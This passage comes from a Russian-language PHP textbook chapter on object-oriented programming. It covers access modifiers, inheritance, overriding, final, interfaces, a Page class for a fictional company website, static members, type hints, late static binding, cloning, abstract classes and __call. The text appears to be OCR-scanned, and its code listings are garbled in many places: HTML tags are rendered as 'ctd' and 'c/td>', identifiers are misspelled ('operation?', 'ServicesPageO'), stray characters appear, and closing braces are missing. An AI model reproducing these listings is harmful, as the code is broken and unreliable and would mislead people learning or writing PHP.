диапазоне между 0 и 100, можно только один раз добавить несколько строк кода и реализовать проверку перед тем, как разрешить изменение. Теперь функции_set () можно придать такой вид: function_set($name, $value) { if ( $name="attribute" && $value >= 0 && $value <= 100 ) $this->attribute = $value; } Имея единственную точку доступа, мы получаем возможность легко вносить изме- нения в лежащую в основе реализацию. Если по какой-либо причине мы решим по- менять способ сохранения атрибута $attribute, функции доступа позволяют сделать это, изменив код только в одном месте. Может возникнуть необходимость вместо хранения $attribute в виде перемен- ной извлекать ее из базы данных, когда она понадобится, вычислять текущее значе- ние при каждом ее запросе, вычислять различные значения на базе значений других атрибутов или кодировать данные в виде более короткого типа данных. Какое бы изменение ни требовалось, достаточно лишь соответствующим образом модифици- ровать функции доступа. Другие разделы программы не будут затронуты, если прини- мать и возвращать данные, ожидаемые в других частях кода, будут функции доступа. Управление доступом с помощью модификаторов private и public В РНР применяются модификаторы доступа, которые управляют видимостью ат- рибутов и методов. Модификатор доступа указывается перед объявлением атрибута или метода. РНР5 поддерживает следующие три различных модификатора доступа. Модификатор доступа public (общедоступный) устанавливается по умолчанию, т.е. подразумевается при отсутствии модификатора доступа. Такие элементы доступны как изнутри, так и извне класса. Модификатор доступа private (приватный) означает, что помеченный им эле- мент может быть доступен только изнутри класса. Его можно применять для всех атрибутов, если не используются функции доступа__get () и___set (). В отношении методов данный модификатор указывается, если тот или иной метод является служебным и предназначенным только для внутренних целей класса. Приватные элементы не наследуются (более подробно о наследовании рассказывается далее в этой главе). Модификатор доступа protected (защищенный) означает, что помеченный им элемент может быть доступен только изнутри класса. Он также существует во всех подклассах; вопросы, связанные с его использованием, рассматриваются ниже в данной главе. Сейчас protected можно воспринимать как нечто сред- нее между public и private. Добавьте в код класса, рассмотренного выше в качестве примера, модификаторы доступа: class classname { public $attribute; public function _get($name) { return $this->$name; } 180 Часть I. Использование PHP
public function _set ($name, $value) { $this->$name = $value; } } Сейчас каждый элемент класса предварен соответствующим модификатором дос- тупа. Ключевые слова public можно не указывать, поскольку этот модификатор при- нимается по умолчанию, однако, если в коде присутствуют и другие модификаторы доступа, то указание public может упростить чтение всего кода. Вызов операций класса Операции класса можно вызывать в основном тем же способом, каким вызывают- ся атрибуты класса. Если в нашем распоряжении имеется следующий класс: class classname { function operationl () { } function operation?($paraml, $param2) { } } и мы создаем объект типа classname с именем $а следующим образом: $а = new classname (); то мы можем вызывать операции так же, как вызывали другие функции: используя их имя и указывая в круглых скобках любые требуемые ими параметры. Поскольку эти операции принадлежат объекту, а не являются обычными функциями, необходимо указать объект, к которому они относятся. Имя объекта используется так же, как ат- рибуты объекта, а именно: $a->opera’tionl () ; $a->operation2(12, "test"); Если операции что-то возвращают, то возвращаемые данные можно получить сле- дующим образом: $х = $a->operationl (); $у = $a->operation2 (12, "test"); Реализация наследования в РНР Если класс должен быть подклассом другого класса, для указания этого факта ис- пользуется ключевое слово extends. Приведенный ниже код создает класс В, унасле- дованный от ранее определенного класса А. class В extends А { public $attribute2; function operation? () { } } Если класс А объявлен следующим образом: class А { public $attributel; function operationl () { } } Глава 6. Объектно-ориентированное программирование на РНР 181
то все показанные ниже обращения к операциям и атрибутам объекта типа В будут допустимыми: $Ь = new В () ; $b->operationl (); $b->attributel = 10; $b->operation2 (); $b->attribute2 = 10; Обратите внимание, что поскольку класс В является расширением класса А, мы можем ссылаться на операцию operationl () и атрибут $attributel, несмотря на то, что они были объявлены в классе А. Будучи подклассом класса А, класс В обладает всей функциональностью и данными класса А. Наряду с этим, класс В объявляет свой собственный атрибут и операцию. Важно отметить, что наследование работает только в одном направлении. Подкласс, или дочерний класс, наследует свойства родительского класса, или супер- класса, однако родительский класс не получает свойств своего дочернего класса. Это означает, что две последних строки в следующем фрагменте кода ошибочны: $а = new А() ; $a->operationl (); $£->attributel = 10; $a->operation2 (); $a->attribute2 = 10; Класс А не имеет ни операции operation2, ни атрибута attribute2. Управление видимостью при наследовании с помощью модификаторов private и protected Модификаторы доступа private и protected могут использоваться для управле- ния наследованием. Если атрибут или метод определен как private, он не наследу- ется. Если же атрибут или метод определен как protected, он наследуется, однако невидим извне класса (подобно элементу private). Рассмотрим следующий пример: class А { private function operationl() { echo "Вызвана операция operationl"; } protected function operation2() { echo "Вызвана операция operation2"; } public function operations () { echo "Вызвана операция operations"; } } class В extends A { function____construct() { $this->operationl(); $this->operation2 (); $this->operation3 (); } } $b = new B; 182 Часть I. Использование PHP
Этот код создает в классе А по одной операции каждого типа: public, protected и private. Класс В наследуется от класса А. В рамках конструктора класса В предпри- нимаются попытки обратиться к операциям родительского класса. Строка $this->operationl(); приводит к следующей фатальной ошибке: Fatal error: Call to private method A::operationl() from context 'B' Фатальная ошибка: Вызов приватного метода А::operationl () из контекста ’В' Этот пример показывает, что приватные операции, определенные в родительском классе, нельзя вызывать из дочернего класса. Если закомментировать эту строку кода, остальные две будут работать нормаль- но. Функция с модификатором protected наследуется, однако может использоваться только внутри дочернего класса, что, собственно, и сделано. В результате добавления следующей строки: $b->operation2(); в конец файла, будет сгенерирована такая ошибка: Fatal error: Call to protected method A: :operation2 () from context ' ' Фатальная ошибка: Вызов защищенного метода A: :operation2 () из контекста ' ' Вместе с тем, операцию operations () можно вызывать и за пределами класса: $b->operation3(); Данный вызов возможен, поскольку operations () объявлена как public. Переопределение В этой главе мы рассмотрели подкласс, в котором объявляются новые атрибуты и операции. Допустимо, а иногда и полезно, повторно объявлять ранее объявленные атрибуты и операции. Это можно делать с целью присвоения атрибуту в подклассе значения, которое отличается от значения по умолчанию того же атрибута в супер- классе, или для предоставления одной из операций подкласса функциональных воз- можностей, отличных от функциональных возможностей той же операции в супер- классе. Упомянутый процесс носит название переопределения (overriding). Рассмотрим, например, класс А со следующим определением: class А { public $attribute = "значение по умолчанию"; function operation () { echo "Что-то здесь такое<Ьг />"; echo "Значением \$attribute является ".$this->attribute."<br />"; } } Необходимо изменить значение атрибута $attribute, назначенное по умолча- нию, и наделить операции operation () новыми функциональными возможностями. Для этого можно создать показанный ниже класс В, в котором переопределяются ат- рибут $attribute и операция operation (): class В extends А { public $attribute = "другое значение"; function operation () { echo "А здесь что-то другое<Ьг />"; Глава 6. Объектно-ориентированное программирование на РНР 183
echo "Значением \$attribute является ".$this->attribute."<br />"; } } Объявление класса В не влияет на исходное определение класса А. Рассмотрим следующие две строки кода: $а = new А() ; $а -> operation(); Эти строки создают объект типа А и вызывают его функцию operation (). В ре- зультате получается следующий вывод: Что-то здесь такое Значением $attribute является значение по умолчанию доказывающий отсутствие влияния класса В на класс А. Создав объект типа В, полу- чим другой вывод. Следующий код: $b = new В () ; $b -> operation(); генерирует такой вывод: А здесь что-то другое Значением $attribute является другое значение Как объявление новых атрибутов или операций в подклассе не оказывает влияния на суперкласс, так и переопределение атрибутов или операций в подклассе не оказы- вает влияния на суперкласс. Подкласс наследует все атрибуты и операции своего суперкласса, если вы не пре- дусматриваете их замены. Если вы определяете замену, она имеет больший приори- тет и переопределяет исходное определение. Ключевое слово parent позволяет обращаться к исходной версии операции в ро- дительском классе. Например, для вызова А: : operation () внутри класса В применя- ется следующий код: parent::operation() ; Вывод, однако, будет другим. Несмотря на то что вызывается операция родитель- ского класса, РНР использует значения атрибутов из текущего класса. Таким образом, вывод получается следующим: Что-то здесь такое Значением $attribute является другое значение Наследование может достигать нескольких уровней в глубину. Можно объявить класс, скажем, С, который расширяет класс В и, следовательно, наследует свойства класса В и класса А, родительского по отношению к классу В. В классе С можно также выборочно переопределять и заменять атрибуты и операции, унаследованные от ро- дительских классов. Предотвращение наследования и переопределения с помощью final В РНР имеется ключевое слово final. Когда это слово используется перед объяв- лением функции, эта функция не может быть переопределена ни в одном подклассе. 184 Часть I. Использование РНР
Чтобы проиллюстрировать это, добавим final в код класса А из предыдущего примера: class А { public $attribute = ’значение по умолчанию'; final function operation() { echo 'Что-то здесь такое<Ьг />'; echo "Значением \$attribute является ".$this->attribute."<br />"; } В результате переопределять operation () в классе В уже будет нельзя. Если вы попытаетесь это сделать, то получите ошибку следующего вида: Fatal error: Cannot override final method A::operation () Фатальная ошибка: Невозможно переопределить финальный метод A: -.operation () Можно также запретить создавать подклассы на основе заданного класса, помес- тив ключевое слово final перед определением класса, например: final class А { ... } При попытке унаследовать класс от А будет генерироваться ошибка: Fatal error: Class В may not inherit from final class (A) Фатальная ошибка: Класс В не может быть унаследован от финального класса (А) Множественное наследование В некоторых объектно-ориентированных языках (например, C++ и Smalltalk) до- пускается мйожественное наследование, однако РНР его не поддерживает. Это озна- чает, что каждый класс может наследовать характеристики только от одного роди- тельского класса. Количество дочерних классов, имеющих общий родительский класс, не ограничивается. Вероятно, сказанное будет понятно не сразу. На рис. 6.1 показаны три возможных способа наследования для трех классов А, В и С. А I Одиночное Множественное | С | наследование наследование Одиночное наследование Рис. 6.1. РНР не поддерживает множественное наследование Комбинация слева на рис. 6.1 показывает, что класс С наследуется от класса В, ко- торый, в свою очередь, наследуется от класса А. Каждый класс имеет не более одного родительского класса, следовательно, это вполне допустимое в РНР одиночное на- следование. Глава 6. Объектно-ориентированное программирование на РНР 185
Комбинация в центре на рисунке отражает, что классы В и С наследуются от класса А. Каждый класс имеет не более одного родительского класса, следовательно, и это допустимое одиночное наследование. Комбинация справа показывает, что класс С унаследован от двух классов А и В. В этом случае класс С имеет два родительских класса, следовательно, это множест- венное наследование, которое в РНР не поддерживается. Реализация интерфейсов Если все же нужно что-то вроде множественного наследования, в РНР это можно сделать с помощью интерфейса (interface). Интерфейс рассматривается как искусст- венная замена множественного наследования и подобен концепции интерфейсов, ко- торая поддерживается в других объектно-ориентированных языках, таких как Java. Основная идея интерфейса состоит в спецификации набора функций, которые должны быть написаны в классах, реализующих данный интерфейс. Например, вы можете решить, что какой-то набор классов должен иметь возможность отображать себя. Вместо того чтобы создавать родительский класс с функцией display (), ко- торую затем должны унаследовать и переопределить все классы из набора, можно реализовать интерфейс, как показано ниже: interface Displayable { function display(); } class webPage implements Displayable { function display() { // ... } } Этот пример демонстрирует обходной путь реализации множественного наследо- вания, поскольку класс webPage может быть унаследован от одного класса и реализо- вывать один или более интерфейсов. При отсутствии методов, указанных в интерфейсе (в данном случае display ()), генерируется фатальная ошибка. Проектирование классов Теперь, когда вы ознакомились с некоторыми понятиями и идеями, лежащими в основе объектов и классов, и с синтаксисом их реализации в РНР, можно переходить к проектированию полезных классов. Многие классы в коде будут представлять классы или категории объектов реально- го мира. Классы, которыми вы, возможно, воспользуетесь при разработке веб-прило- жений, могут включать страницы, компоненты пользовательского интерфейса, поку- пательские тележки, обработчики ошибок, категории товаров или клиентов. Объекты в вашем коде могут также представлять конкретные экземпляры ранее упомянутых классов — например, домашнюю страницу, конкретную кнопку или поку- пательскую тележку, которой некий Петя Иванов пользуется в конкретный момент времени. Сам Петя Иванов может быть представлен объектом типа клиент. Каждый товар, который покупает Петя, может быть представлен объектом, принадлежащим определенной категории или классу. 186 Часть I. Использование РНР
В предыдущей главе для обеспечения единообразного внешнего вида различных страниц веб-сайта вымышленной компании ВОВАН Convulsing использовались про- стые включаемые файлы. Воспользовавшись классами, а также возможностью эконо- мить время, предоставляемой механизмом наследования, вы можете создать более совершенную версию того же сайта. Мы хотим иметь возможность быстро создавать страницы для сайта ВОВАН Convulsing, которые сохраняют единый стиль оформления и ведут себя одинаково. В то же время страницы должно быть без труда изменять, приводя их в соответствие различным частям сайта. Для целей данного примера мы создадим класс страницы по имени Раде. Основ- ное назначение этого класса — ограничить объем HTML-кода, требуемого для созда- ния новой страницы. Он должен допускать модификацию тех частей, которые из- меняются от страницы к странице, и обеспечивать автоматическую генерацию тех фрагментов, которые остаются неизменными на каждой странице. Класс должен пре- доставлять гибкую структуру для построения новых страниц, но при этом не должен ограничивать свободу действий. Поскольку мы генерируем страницу с помощью сценария, а не статического HTML, мы можем воспользоваться любым количеством полезных средств, в том чис- ле новыми функциональными возможностями. Изменять элементы страницы только в одном месте. Например, если мы вно- сим изменения в примечания относительно авторских прав или добавляем до- полнительную кнопку, то должны вносить соответствующее изменение только в каком-то одном месте. Иметь стандартное содержимое для большей части страницы и при этом иметь возможность при необходимости менять любой элемент, устанавливая пользо- вательские значения для таких элементов, как, например, заголовок и метаде- скрипторы. Распознавать, какая страница просматривается, и менять соответствующим об- разом значения навигационных элементов. Например, нет смысла устанавли- вать на домашней странице кнопку, щелчок на которой вызывает переход на ту же домашнюю страницу. Заменять стандартные элементы на конкретных страницах. Например, если в определенных разделах сайта требуются другие навигационные кнопки, мы должны иметь возможность заменять ими стандартные кнопки. Написание кода класса Итак, мы определили, каким должен быть вывод разрабатываемого кода, и какие функции он должна выполнять, и теперь нужно реализовать этот код. Позже в этой книге речь пойдет о проектировании и управлений крупными проектами. А пока мы сосредоточим внимание на особенностях написания объектно-ориентированного РНР-кода. Классу необходимо присвоить логическое имя. Поскольку он представляет стра- ницу, назовем его Раде. Для объявления класса Раде следует ввести: class Раде { } Глава 6. Объектно-ориентированное программирование на РНР 187
Разрабатываемому классу нужны атрибуты. Элементы, которые, возможно, при- дется изменять от страницы к странице, мы определим как атрибуты класса. Основ- ное содержимое страницы, которое будет представлено комбинацией HTML-деск- рипторов и текста, назовем $ content. Это содержимое можно объявить посредством следующей строки кода внутри определения класса: public $content; Мы можем также определить атрибуты для хранения заголовка страницы. По- видимому, их придется изменять, чтобы посетитель четко знал, какую страницу он просматривает. Вместо использования пустых заголовков, мы зададим заголовок по умолчанию с помощью следующего объявления: public Stitle = "ВОВАН Convulsing Pty Ltd"; Большинство коммерческих веб-страниц включают в себя метадескрипторы, по- могающие поисковым механизмам выполнять их индексацию. Чтобы они были по- лезны, метадескрипторы, по-видимому, должны изменяться от страницы к странице. В этом случае мы также определяем значение по умолчанию: public $keywords = "ВОВАН Convulsing, Реальный сайт, поисковые механизмы — мои лучшие друзья"; Навигационные кнопки, показанные на исходной странице, изображенной на рис. 5.2 (см. предыдущую главу), скорее всего, должны оставаться неизменными на всех страницах, чтобы посетители не путались; однако, чтобы их можно было лег- ко изменить, их также лучше сделать атрибутами. Поскольку количество кнопок мо- жет меняться, мы объявляем массив и сохраняем в нем как текст кнопки, так и URL (Uniform Resource Locator — унифицированный указатель информационного ресур- са), на который она должна указывать. public $buttons = array( "Главная" => "home.php", "Контакты" => "contact.php", "Услуги" => "services.php", "Карта сайта" => "map.php" ); Чтобы иметь возможность выполнять те или иные функции, классу также необхо- димы операции. Их определение можно начать с определения функций доступа, обес- печивающих установку и получения значений атрибутов, которые мы определили: public function__set($name, $value) { $this->$name = $value; } Функция____set () не содержит проверки на ошибки (для краткости), однако дан- ную возможность при необходимости можно легко добавить. Поскольку маловероят- но, что любые из этих значений будут запрашиваться извне класса, мы решили не определять функцию _get (). Основное назначение этого класса заключается в том, чтобы отображать HTML- страницы, а для этого необходима функция. Она получает имя Display () и принима- ет следующий вид: public function Display () { echo "<html>\n<head>\n"; $this -> DisplayTitle (); $this -> DisplayKeywords(); $this -> Displaystyles(); 188 Часть I. Использование PHP
echo "</head>\n<body>\n"; $this -> DisplayHeader(); $this -> DisplayMenu($this->buttons); echo $this->content; $this -> DisplayFooter(); echo "</body>\n</html>\n"; } Данная функция включает в себя несколько простых операторов echo для отобра- жения HTML-текста, но в основном состоит из вызовов других функций класса. Как не- трудно догадаться по их именам, эти функции отображают различные части страницы. Совсем не обязательно организовывать функции подобным образом. Все эти от- дельные функции можно было бы объединить в одну большую функцию. Мы же вве- ли такое разделение по ряду причин. Каждая функция должна решать определенную задачу. Чем проще эта задача, тем проще создавать и тестировать функцию. Но не следует заходить слишком далеко в этом направлении — если вы разобьете программу на очень большое число неболь- ших фрагментов, ее будет трудно читать. Используя наследование, мы можем выполнять переопределение операций. Можно заместить одну крупную функцию Display (), однако маловероятно, чтобы мы захо- тели изменить способ отображения всей страницы. Гораздо рациональнее разбить действия по отображению на несколько самостоятельных задач и иметь возможность выполнять переопределение только тех частей, которые требуется изменить. Функция Display (отобразить) вызывает функции DisplayTitle () (отобразить заголовок), DisplayKeywords () (отобразить ключевые слова), Displaystyles () (ото- бразить стили), DisplayHeader () (отобразить верхний колонтитул), DisplayMenu () (отобразить меню) и DisplayFooter () (отобразить нижний колонтитул). Значит, необходимо определить эти операции. Операции или функции можно записывать в этом логическом порядке и вызывать операцию или функцию еще до того, как в про- грамме встретится фактический код этой операции или функции. Во многих других языках код функции или операции должен быть записан до ее вызова. Большинство используемых в данном случае операций весьма просты и необходимы для отображе- ния некоторого HTML-текста и, возможно, содержимого атрибутов. В листинге 6.1 приведен завершенный класс, который хранится в файле page .inc. В таком виде он может быть затребован или включен в другие файлы. Листинг 6.1. page.inc — класс Раде, предоставляющий простой и гибкий способ создания страниц сайта ВОВАН Convulsing <?php class Page { // атрибуты класса Page public $content; public $title = "ВОВАН Convulsing Pty Ltd"; public $keywords = "ВОВАН Convulsing, Реальный сайт, поисковые механизмы — мои лучшие друзья"; public $buttons = array( "Главная" => "home.php", "Контакты" => "contact.php", "Услуги" => "services.php", "Карта сайта" => "map.php", ); Глава 6. Объектно-ориентированное программирование на РНР 189
// операции класса Page public function___set($name, $value) { $this->$name = $value; public function Display() { echo "<html>\n<head>\n"; $this -> DisplayTitle(); $this -> DisplayKeywords (); $this -> Displaystyles(); echo "</head>\n<body>\n"; $this -> DisplayHeader(); $this -> DisplayMenu($this->buttons); echo $this->content; $this -> DisplayFooter (); echo "</body>\n</html>\n”; public function DisplayTitle () { echo "<title>" . $this->title. "</title>"; } public function DisplayKeywords () { echo "<meta name=\"keywords\" content=\””.$this->keywords."\” />”; } public function Displaystyles () { <style> hl { color:white; font-size:24pt; text-align:center; font-family:arial,sans-serif } .menu { color:white; font-size:12pt; text-align:center; font-family: arial, sans-serif; font-weight .-bold } td { background:black } P { color:black; font-size:12pt; text-align:justify; font-family:arial,sans-serif } p.foot { color:white; font-size:9pt; text-align:center; font-family:arial,sans-serif; font-weight:bold } a:link,a:visited,a:active { color:white } </style> <?php } 190 Часть I. Использование PHP
public function DisplayHeader() ( ?> <table width="100%" cellpadding="12" cellspacing="O" border="0"> ctr bgcolor="blclck”> ctd align="left">cimg src ="logo.gif" /></td> ctd>chl>BOBAH Convulsing Pty Ltd</hlx/td> ctd align="right"ximg src="logo.gif" /></td> </tr> </table> <?php } public function DisplayMenu($buttons) { echo "ctable width=\"100%\" bgcolor=\"white\"". ”cellpadding=\”4\" cellspacing=\" 4 \">\n"; echo "ctr>\n"; // вычисление размеров кнопки $width = 100/count($buttons); while (list($name, $url) = each($buttons)) { $this -> DisplayButton($width, $name, $url, !$this->IsURLCurrentPage($url)); } echo "</tr>\n”; echo "</table>\n”; } public function IsURLCurrentPage($url) { if(strpos($_SERVER['PHP_SELF']л $url)==false) { return false; } else { return true; } } public function DisplayButton($width, $name, $url, $active = true) { if ($active) { echo "ctd width =\"".$width."%\"> ca href =\"”.$url.. "cimg src=\"s-logo.gif\" alt=\"".$name."\ border=\"0\" />c/a>". "ca href=\"". $url. "\xspan class=\"menu\">" . $name. "c/spanx/a>" . "c/td>"; } else { echo "ctd width =\"".$width."%\">cimg src=\"side-logo.gif\" />". "Cspan class=\"menu\">" . $name. "c/spanx/td>"; } } public function DisplayFooter() { ?> ctable width="100%" bgcolor="black" cellpadding="12" border="0"> ctr> ctd> Cp class="foot">&copy; ВОВАН Convulsing Pty Ltd.c/p> cp class="foot">K вашим услугам - наша ca href="legal .рЬр">страница с официальной информациеис/ах/р> c/td> c/tr> c/table> c?php } } ?> Глава 6. Объектно-ориентированное программирование на РНР 191
При просмотре этого листинга обратите внимание, что функции Displaystyles (), DisplayHeader () и DisplayFooter () должны отображать большой блок статическо- го HTML-кода без какой-либо обработки с помощью РНР. Поэтому внутри функций мы просто указали завершающий РНР-дескриптор (?>), ввели HTML-код, а затем с помощью открывающего PHP-дескриптора (<?php) снова перешли к РНР. В этом классе определены еще две операции. Операция DisplayButton () выво- дит одиночную кнопку меню. Если кнопка указывает на текущую страницу, вместо нее отображается неактивная кнопка, которая выглядит несколько иначе и не связана ни с какими другими страницами. Это обеспечивает единообразный внешний вид стра- ниц и позволяет посетителям визуально определять местонахождение. Операция IsURLCurrentPage () определяет, указывает ли связанный с кнопкой URL на текущую страницу. Для этого служит множество технологий. Мы воспользова- лись строковой функцией strpos (), чтобы определить, содержится ли данный URL в одной из переменных, установленных сервером. Оператор strpos ($_SERVER[' PHP SELF' ], $url) возвращает число, если строка, хранящаяся в переменной $url, присутствует внутри суперглобальной переменной $_SERVER [PHP_SELF' ], либо значение false, если это не так. Чтобы можно было пользоваться классом Раде, файл раде. inc потребуется вклю- чить в сценарий и вызвать Display (). Код, показанный в листинге 6.2, создает домашнюю страницу сайта компании ВОВАН Convulsing и обеспечивает вывод, который очень похож на сгенерирован- ный ранее (см. рис. 5.2). Этот код выполняет перечисленные ниже действия. 1. Использует оператор require для включения содержимого файла page, inc, который содержит определение класса Раде. 2. Создает экземпляр класса Раде. Этому экземпляру назначается имя $hqmepage. 3. Создает контент — некоторый текст и HTML-дескрипторы, которые должны быть на странице. (При этом неявно вызывается_____set.) 4. Вызывает операцию Display () внутри объекта $homepage, которая обеспечивает отображение страницы в окне браузера посетителя. Листинг 6.2. home.php — эта домашняя страница использует класс Раде для выполнения большей части действий, требуемых для ее генерации <?php require ("page.inc"); $homepage = new Page(); $homepage->content = "<р>Добро пожаловать на сайт компании " ."ВОВАН Convulsing. Познакомьтесь с нашей деятельностью.</р>" ."<р>Вы забудете о своих проблемах, когда мы расскажем вам о наших!</р>"; $homepage->Display(); ?> Как видно из листинга 6.2, для генерации новых страниц с использованием класса Раде требуется выполнить совсем незначительный объем работы. Такое использова- ние класса означает, что все страницы будут очень похожи друг от друга. Если нужно, чтобы в некоторых разделах сайта использовался вариант стандарт- ной страницы, можно просто скопировать page. inc в новый файл раде2. inc и внести в него некоторые изменения. Это значит, что при каждом обновлении или исправлении в файле page .inc нельзя забывать внести эти же изменения и в файл раде2.inc. 192 Часть I. Использование РНР
Более рациональный подход предусматривает использование механизма наследо- вания для создания нового класса, который наследует большую часть своих функцио- нальных возможностей от класса Раде, но переопределяет те части, которые должны отличаться. Нам нужно, чтобы страница услуг на сайте ВОВАН Convulsing содержала вторую навигационную панель. Сценарий, показанный в листинге 6.3, решает эту задачу путем создания нового класса ServicesPage, унаследованного от Раде. В этом классе мы определяем новый массив $row2buttons, который содержит кнопки и ссылки, необходимые во второй строке. Поскольку мы хотим, чтобы этот класс в основном сохранил поведение роди- тельского класса, мы переопределяем только ту часть, которая должна изменяться, а именно — операцию Display (). Листинг 6.3. services .php — страница услуг, унаследованная от класса Раде, но с переопределенной операцией Display () для изменения вывода <?php require ("page.inc"); class ServicesPage extends Page { private $row2buttons = array( "Реинжиниринг" => "reengineering.php”, "Соответствие стандартам" => "standards.php", "Тренировка дикции" => "buzzword.php", "Формулировка цели" ==> "mission.php" ); function Display() { echo "<html>\n<head>\n"; $this -> DisplayTitle (); $this -> DisplayKeywords(); $this -> Displaystyles (); echo "</head>\n<body>\n”; $this -> DisplayHeader(); $this -> DisplayMenu($this->buttons); $this -> DisplayMenu($this->row2buttons); echo $this->content; $this -> DisplayFooter(); echo "</body>\n</html>\n"; $services = new ServicesPageO; $services -> content = "<p>". "Компания ВОВАН Convulsing предлагает множество услуг. Возможно, ". "если мы выполним реинжиниринг вашего лизинга, логистика вашего ". "сайдинга возрастет. Может быть, все, что вам нужно - это четкое ". "уяснение своей цели либо новый сборник скороговорок.</р>"; $services -> Display(); Функция Display() с переопределением очень похожа на функцию в родитель- ском классе, но содержит одну дополнительную строку: $this -> DisplayMenu($this->row2buttons); которая второй раз вызывает операцию DisplayMenu () и создает вторую панель меню. Глава 6. Объектно-ориентированное программирование на РНР 193
За пределами определения класса мы создаем экземпляр класса Services Раде, устанавливаем значения, которые должны отличаться от значений по умолчанию, и вызываем операцию Display (). На рис. 6.2 показан новый вариант стандартной страницы. При этом нам при- шлось создать код только для отличающихся частей страниц. Рис- 6-2. Страница услуг, созданная с использованием механизма наследования, что позволило повторно использовать большую часть кода стандартной страницы Создание страниц при помощи PHP-классов обладает очевидными преимущества- ми. Поскольку класс выполняет большую часть действий, для создания новой страни- цы приходится выполнять меньший объем работы. Мы можем обновлять сразу все страницы, для этого достаточно обновить один класс. Пользуясь механизмом насле- дования, из оригинала можно получать различные версии класса, сохраняя при этом указанные выше преимущества. Однако, как это часто бывает в жизни, за упомянутые преимущества приходится платить^ Для создания страниц из сценария требуется больше процессорных опера- ций, чем для простой загрузки статической HTML-страницы с диска и пересылки ее в браузер. Для сайта с высоким трафиком это имеет большое значение, поскольку вам придется либо использовать статические HTML-страницы, либо по возможности кэшировать вывод сценариев, чтобы тем самым уменьшить нагрузку на сервер. Дополнительные объектно- ориентированные возможности в РНР В следующих разделах обсуждаются дополнительные объектно-ориентированные возможности РНР. 194 Часть I. Использование РНР
Использование констант класса В РНР возможно создание констант класса. Константа класса может использоваться без необходимости создания экземпляра класса, как показано в следующем примере: <?php class Math { * const pi = 3.14159; } echo ’’Math: :pi = ’’ .Math: :pi. ”\n”; Доступ к константам класса осуществляется с помощью операции :: и указания имени класса, которому константа принадлежит. Реализация статических методов В РНР имеется ключевое слово static. Оно применяется к методам, позволяя вы- зывать их без необходимости создания экземпляра класса. Идея статических методов подобна идее констант класса. Например, вернемся еще раз к классу Math, который упоминался в предыдущем примере. Вы можете добавить к нему статический метод squared () и вызывать его, не создавая экземпляр класса: class Math { static function squared($input) { return $input*$input; } } echo Math::squared(8); Обратите внимание, что внутри статического метода нельзя использовать ключе- вое слово this, поскольку может не существовать ни одного экземпляра для ссылки. Проверка типа объекта и указание типов Ключевое слово instanceof позволяет проверить тип объекта. Вы можете прове- рить, является ли объект экземпляром заданного класса, унаследован ли он от опре- деленного класса либо реализует ли он некоторый интерфейс. Это ключевое слово фактически представляет собой условную операцию. Принимая во внимание преды- дущие примеры, в которых класс В был реализован как подкласс класса А, рассмот- рим следующие примеры использования instanceof: ($b instanceof В) в результате дает true; ($b instanceof А) в результате дает true; ($b instanceof Displayable) в результате дает false. Во всех этих примерах предполагается, что А, В и Di splay able находятся в теку- щей области видимости; в противном случае возникнет ошибка. Кроме того, в РНР5 возможно указание типов. Обычно при передаче параметра в PHP-функцию тип этого параметра не указывается. С помощью указания типов можно задать тип класса, который должен передаваться, и если тип фактического параметра не совпадает с ним, генерируется ошибка. Проверка типов эквивалентна instanceof. Глава 6. Объектно-ориентированное программирование на РНР 195
Например, предположим, что имеется следующая функция: function check_hint(В $spmeclass) { //... } В этой функции указано, что параметр $someclass должен быть экземпляром класса В. Если передать в функцию экземпляр класса А, т.е.: check—hint($а); будет получена следующая фатальная ошибка: Fatal error: Argument 1 must be an instance of В ч Фатальная ошибка: Аргумент 1 должен быть экземпляром В Следует отметить, -что если указать для параметра тип класса А и затем передать в функцию экземпляр класса В, ошибка не возникнет, поскольку В унаследован от А. Позднее статическое связывание Позднее статическое связывание, которое появилось в версии РНР 5.3, позволя- ет производить ссылки на вызванный класс в контексте статического наследования; родительские классы могут использовать статические методы, переопределенные до- черними классами. Следующий простой пример из руководства по РНР демонстриру- ет действие позднего статического связывания: <?php class А { public static function who() { echo ___CLASS_; } public static function test() { static::who (); // Здесь выполняется позднее статическое связывание } } class В extends А { public static function who() { echo____CLASS_; } } B:: test (); ?> Этот пример дает следующий вывод: в Разрешение ссылок на классы, вызываемые во время выполнения, независимо от того, переопределены они или нет, предлагает дополнительные возможности. Дополнительную информацию и примеры позднего статического связыва- ния ищите в руководстве по РНР на странице http://www.php.net/manual/en/ language.оор5.late-static-bindings.php. Клонирование объектов В РНР можно также использовать ключевое слово clone, которое позволяет копи- ровать существующие объекты. 196 Часть I. Использование РНР
Например, оператор: $с = clone $Ь; создает копию объекта $Ь того же самого класса с теми же самыми значениями атри- бутов. Вы можете изменить данное поведение. Если вам необходимо нестандартное по- ведение clone, создайте в базовом классе метод с именем_clone (). Этот метод по- хож на конструктор или деструктор и не вызывается напрямую. Он вызывается, когда используется ключевое слово clone, как показано выше. Внутри метода____clone () можно определить требуемые действия по копированию. Очень важное свойство__clone () состоит в том, что этот метод вызывается по- сле создания точной копии стандартным способом, т.е. на данном этапе можно изме- нять только то, что требуется. Чаще всего в__clone () добавляется функциональность, которая проверяет кор- ректность копирования атрибутов класса, обрабатываемых как ссылки. Если вы создае- те копию класса, содержащего ссылку на какой-то объект, и требуется, чтобы этот объ- ект также был скопирован, данные действия должны быть добавлены в_clone (). Иногда необходимо выполнить какие-то другие действия, например, обновить базу данных на основе информации, хранящейся в экземпляре класса. Использование абстрактных классов В РНР также доступны абстрактные классы, для которых нельзя создавать экзем- пляры, и абстрактные методы, которые обеспечивают только сигнатуру метода, без его реализации, как показано ниже: abstract» operationX ($paraml, $param2) ; Любой класс, содержащий абстрактные методы, должен быть абстрактным: abstract class А { abstract function operationX($paraml, $param2); } Основное применение абстрактных методов и классов связано с построением слож- ной иерархии классов, в которой каждый подкласс должен содержать и переопреде- лять определенные методы; этого же можно достигнуть и посредством интерфейсов. Перегрузка методов с помощью метода_____________________call () Ранее мы сталкивались с несколькими методами класса специального назначения, имена которых начинались с двух подчеркиваний (_):_get ()5_set ()\_construct () и___destruct (). Еще одним примером такого метода может служить метод__call (), который используется в РНР для перегрузки методов. Перегрузка методов характерна для многих объектно-ориентированных языков, однако она не настоль полезна в РНР, так как в основном здесь применяются гибкие типы и простые в реализации необязательные функциональные параметры. t Для использования перегрузки функций потребуется реализовать метод_call (), как показано в примере ниже: public function_call($method, $p) { if ($method == "display") { if (is_object($p[0])) { $this->displayObj ect($p[0]); Глава 6, Объектно-ориентированное программирование на РНР 197
